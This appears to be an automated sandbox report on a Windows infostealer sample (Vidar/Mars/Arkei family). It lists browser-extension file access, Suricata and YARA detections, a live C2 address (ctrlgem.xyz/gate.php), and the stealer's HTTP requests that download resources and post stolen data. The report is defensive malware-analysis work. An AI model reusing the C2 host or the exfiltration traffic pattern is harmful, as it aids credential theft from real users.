Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0040B110 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B110
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0040B3A0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040B3A0

Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2022818 - Severity 1 - ET MALWARE Generic gate .php GET with minimal headers : 192.168.2.6:49693 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2035884 - Severity 1 - ET MALWARE Base64 Encoded Stealer Config from Server - APPDATA or USERPROFILE Environment Variable M4 : 188.114.97.3:80 -> 192.168.2.6:49693
Source: Network traffic	Suricata IDS: 2036654 - Severity 1 - ET MALWARE Win32/Vidar Variant/Mars Stealer Resources Download : 188.114.97.3:80 -> 192.168.2.6:49693
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.6:49693 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.6:49693 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2033163 - Severity 1 - ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil : 192.168.2.6:49693 -> 188.114.97.3:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: ctrlgem.xyz/gate.php

Performs DNS queries to domains with low reputation

Source:

DNS query: ctrlgem.xyz

Source: global traffic	HTTP traffic detected: GET /gate.php HTTP/1.1Host: ctrlgem.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /request HTTP/1.1Host: ctrlgem.xyzCache-Control: no-cacheCookie: PHPSESSID=291d239f3940517dbefb215d3b920d7e
Source: global traffic	HTTP traffic detected: POST /gate.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ZUKFK6PZ58YM7QQ1Host: ctrlgem.xyzContent-Length: 93766Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=291d239f3940517dbefb215d3b920d7e

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_00406040 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00406040

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 17 Mar 2025 12:22:11 GMTContent-Length: 1565849Connection: keep-aliveLast-Modified: Mon, 21 Feb 2022 23:34:00 GMTAccept-Ranges: bytescf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QVm1w7ydFyweCFchTxOdOGkd5n3m5BqZPfpwO0lSXEklBICOkCzctCPZvcqino7sfa6%2FEHPK4ouxaWt7GCxbOH%2FFbj6Lybh844BrAJjQUzoQlkx7HcBACg6IArACng%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 921c74547fa60f89-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1669&min_rtt=1656&rtt_var=648&sent=4&recv=5&lost=0&retrans=0&sent_bytes=1198&recv_bytes=215&delivery_rate=1655328&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 50 4b 03 04 14 00 00 00 08 00 0d 7a 3e 54 c5 85 06 76 05 31 01 00 d0 35 02 00 0c 00 00 00 73 6f 66 74 6f 6b 6e 33 2e 64 6c 6c ec 5b 7d 78 14 45 9a ef 9e 99 84 49 98 64 1a 48 30 3c 04 09 6c f0 b2 8a 18 18 58 12 09 18 20 9d 8d 42 60 d8 81 99 04 c8 07 5f 3a 8e 01 42 9c c6 9c 4f 50 d8 c9 28 b3 cd 78 78 8b 0a b7 ec 0a 0a 1e 77 b2 ae ab a0 39 37 a7 e3 05 49 60 05 f9 d2 45 c5 5d 5c 61 af 71 b2 4b 74 73 31 ba 39 fa de aa ea ee 99 ae ee e4 f4 b9 7f 8f e7 c1 aa a9 fe d5 fb fe de 8f 7a ab aa 1b 2b 97 ef 64 ac 0c c3 d8 e0 af 2c 33 4c 1b 43 fe 94 32 df e2 0f cb 30 99 e3 df c8 64 8e a4 9d 9a d0 c6 2e 3c 35 61 a9 ff fe 07 f3 1a 9b 36 de d7 b4 6a 7d de 9a 55 1b 36 6c 0c e6 ad 5e 97 d7 24 6c c8 bb 7f 43 5e d9 62 4f de fa 8d 6b d7 4d c9 c8 48 cf 57 44 3c d7 90 9f fb a7 8c 7b 16 ab 7f af 0b 1f 2e fe 1c da bb 36 2e 58 74 05 b7 77 2b ed e2 45 dd b8 5d b4 e8 cf d0 1e 5b 4f 9e df be 61 c1 a2 ab 78 ee 82 c5 8f e0 df 8b 16 7d 89 db 7b 16 fd 27 6e 8f 2e 26 6d 05 fe fd a3 fb d7 f8 91 1e d5 04 37 cf 30 0b d9 14 e6 ad d5 f1 15 ea d8 65 66 e2 84 e1 6c e6 70 e6 35 30 70 35 19 7b a6 1d fa 1c 74 ce b0 e8 27 87 fb 16 86 49 65 f0 6f ad 65 dc 16 ec cc b4 5f 5b e0 71 29 99 c4 31 4c a2 25 0d 67 b5 30 87 a0 6d 83 b6 0b 0d 16 5a 98 66 6b 92 6f 73 2c cc 99 71 28 10 16 a6 3e 13 d4 de 60 99 a5 cc Data Ascii: PKz>Tv15softokn3.dll[}xEIdH0<lX B`_:BOP(xxw97I`E]\aqKts19z+d,3LC20d.<5a6j}U6l^$lC^bOkMHWD<{.6.Xtw+E][Oax}{'n.&m70eflp50p5{t'Ieoe_[q)1L%g0mZfkos,q(>`

Source: global traffic	HTTP traffic detected: GET /gate.php HTTP/1.1Host: ctrlgem.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /request HTTP/1.1Host: ctrlgem.xyzCache-Control: no-cacheCookie: PHPSESSID=291d239f3940517dbefb215d3b920d7e

Source: global traffic

DNS traffic detected: DNS query: ctrlgem.xyz

Source: unknown

HTTP traffic detected: POST /gate.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ZUKFK6PZ58YM7QQ1Host: ctrlgem.xyzContent-Length: 93766Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=291d239f3940517dbefb215d3b920d7e

Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: m0wsoI3.exe, 00000000.00000002.1300238771.0000000000507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctrlgem.xyz/gate.php
Source: m0wsoI3.exe, 00000000.00000002.1300238771.0000000000507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctrlgem.xyz/requestb
Source: m0wsoI3.exe, 00000000.00000002.1300238771.0000000000507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctrlgem.xyz/requestj
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.mozilla.com0
Source: ZUKFK6PZ.0.dr	String found in binary or memory: https://ac.ecosia.org?q=
Source: ZUKFK6PZ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: m0wsoI3.exe, 00000000.00000003.1260169616.000000000059C000.00000004.00000020.00020000.00000000.sdmp, ZUKFK6PZ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: m0wsoI3.exe, 00000000.00000003.1260169616.000000000059C000.00000004.00000020.00020000.00000000.sdmp, ZUKFK6PZ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ZUKFK6PZ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: m0wsoI3.exe, 00000000.00000003.1260169616.000000000059C000.00000004.00000020.00020000.00000000.sdmp, ZUKFK6PZ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20-
Source: ZUKFK6PZ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ZUKFK6PZ.0.dr	String found in binary or memory: https://gemini.google.com/app?q=
Source: m0wsoI3.exe, 00000000.00000003.1276800018.000000000F417000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1310926889.000000001045F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: m0wsoI3.exe, 00000000.00000002.1310926889.000000001045F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: m0wsoI3.exe, 00000000.00000003.1276800018.000000000F417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: m0wsoI3.exe, 00000000.00000003.1260169616.000000000059C000.00000004.00000020.00020000.00000000.sdmp, ZUKFK6PZ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: m0wsoI3.exe, 00000000.00000003.1260169616.000000000059C000.00000004.00000020.00020000.00000000.sdmp, ZUKFK6PZ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: m0wsoI3.exe, 00000000.00000002.1310926889.000000001045F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: m0wsoI3.exe, 00000000.00000003.1276800018.000000000F417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: m0wsoI3.exe, 00000000.00000002.1310926889.000000001045F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: m0wsoI3.exe, 00000000.00000003.1276800018.000000000F417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: m0wsoI3.exe, 00000000.00000003.1276800018.000000000F417000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1310926889.000000001045F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 0.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detect Mars Stealer based on a specific XOR routine Author: Sekoia.io
Source: 00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: m0wsoI3.exe PID: 7292, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

PE file has a writeable .text section

Source: m0wsoI3.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

PE file has nameless sections

Source: m0wsoI3.exe

Static PE information: section name:

Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0041B020	0_2_0041B020
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00410F00	0_2_00410F00
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0041A790	0_2_0041A790
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0041A190	0_2_0041A190
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0041A5A0	0_2_0041A5A0
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_004107B0	0_2_004107B0
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6095C314	0_2_6095C314
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6094DA3A	0_2_6094DA3A
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_609300CC	0_2_609300CC
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_609660FA	0_2_609660FA
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6092114F	0_2_6092114F
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6091F2C9	0_2_6091F2C9
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6096923E	0_2_6096923E
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60950312	0_2_60950312
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6094D33B	0_2_6094D33B
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6093B368	0_2_6093B368
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6096748C	0_2_6096748C
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6093F42E	0_2_6093F42E
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60954470	0_2_60954470
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_609615FA	0_2_609615FA
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6096A5EE	0_2_6096A5EE
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6096D6A4	0_2_6096D6A4
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_609606A8	0_2_609606A8
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60932654	0_2_60932654
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60955665	0_2_60955665
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6094B7DB	0_2_6094B7DB
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60964807	0_2_60964807
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6094E9BC	0_2_6094E9BC
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60937929	0_2_60937929
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6093FAD6	0_2_6093FAD6
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6096DAE8	0_2_6096DAE8
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60936B27	0_2_60936B27
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60954CF6	0_2_60954CF6
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60950C6B	0_2_60950C6B
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60966DF1	0_2_60966DF1
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60963D35	0_2_60963D35
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60909E9C	0_2_60909E9C
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60951E86	0_2_60951E86
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60912E0B	0_2_60912E0B
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60954FF8	0_2_60954FF8

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: String function: 004054F0 appears 577 times

Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll8 vs m0wsoI3.exe
Source: m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll8 vs m0wsoI3.exe
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs m0wsoI3.exe
Source: m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll8 vs m0wsoI3.exe
Source: m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs m0wsoI3.exe

Source: m0wsoI3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 0.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_mars_stealer_xor_routine author = Sekoia.io, description = Detect Mars Stealer based on a specific XOR routine, creation_date = 2022-04-06, classification = TLP:CLEAR, version = 1.0, id = 3e2c7440b2fc9e4b039e6fa8152ac8ff
Source: 00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
